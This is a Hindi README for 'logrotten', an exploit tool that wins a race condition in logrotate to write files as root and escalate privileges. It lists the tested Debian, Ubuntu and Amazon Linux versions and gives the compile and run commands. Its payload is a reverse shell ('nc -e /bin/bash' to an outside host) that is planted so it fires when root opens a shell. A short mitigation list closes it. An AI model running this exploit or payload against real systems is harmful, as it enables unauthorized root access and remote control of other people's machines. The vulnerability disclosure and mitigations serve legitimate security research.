[!WARNING]
यह रिपॉजिटरी https://codeberg.org/whotwagner/logrotten पर स्थानांतरित कर दी गई है। नवीनतम अपडेट के लिए कृपया नए स्थान पर जाएँ।
लॉगरोटेट में रेस कंडीशन जीतकर विशेषाधिकार बढ़ाना

संक्षिप्त विवरण
- logrotate लॉगफ़ाइल का नाम बदलने के बाद रेस कंडीशन के प्रति संवेदनशील है।
- यदि logrotate को root के रूप में निष्पादित किया जाता है, ऐसे विकल्प के साथ जो फ़ाइल बनाता है (जैसे create, copy, compress, आदि), और उपयोगकर्ता के पास लॉगफ़ाइल पथ का नियंत्रण है, तो किसी भी निर्देशिका में फ़ाइलें लिखने के लिए रेस-कंडीशन का दुरुपयोग करना संभव है।
- एक हमलावर "/etc/bash_completition.d/" जैसी निर्देशिकाओं में रिवर्स-शेल लिखकर अपने विशेषाधिकार बढ़ा सकता है।
विशेषाधिकार बढ़ाने के लिए पूर्वापेक्षा
- Logrotate को root के रूप में निष्पादित किया जाना चाहिए
- लॉगपथ हमलावर के नियंत्रण में होना चाहिए
- logrotate कॉन्फ़िगरेशन में फ़ाइलें बनाने वाला कोई भी विकल्प सेट होना चाहिए
परीक्षित संस्करण
- Debian GNU/Linux 11 (bullseye)
- Debian GNU/Linux 9.5 (stretch)
- Amazon Linux 2 AMI (HVM)
- Ubuntu 18.04.1
- logrotate 3.8.6
- logrotate 3.11.0
- logrotate 3.15.0
- logrotate 3.18.0
संकलन
- gcc -o logrotten logrotten.c
पेलोड तैयार करें
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
एक्सप्लॉइट चलाएँ
यदि logrotate.cfg में "create" विकल्प सेट है:
./logrotten -p ./payloadfile /tmp/log/pwnme.log
यदि logrotate.cfg में "compress" विकल्प सेट है:
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
ज्ञात समस्याएँ
- docker कंटेनर या lvm2-वॉल्यूम के अंदर रेस जीतना कठिन था। logrotten का यह संस्करण विश्वसनीयता में सुधार करता है।
शमन
- सुनिश्चित करें कि logpath का स्वामी root है
- logrotate.cfg में "su" विकल्प का उपयोग करें
- selinux या apparmor का उपयोग करें
लेखक
संदर्भ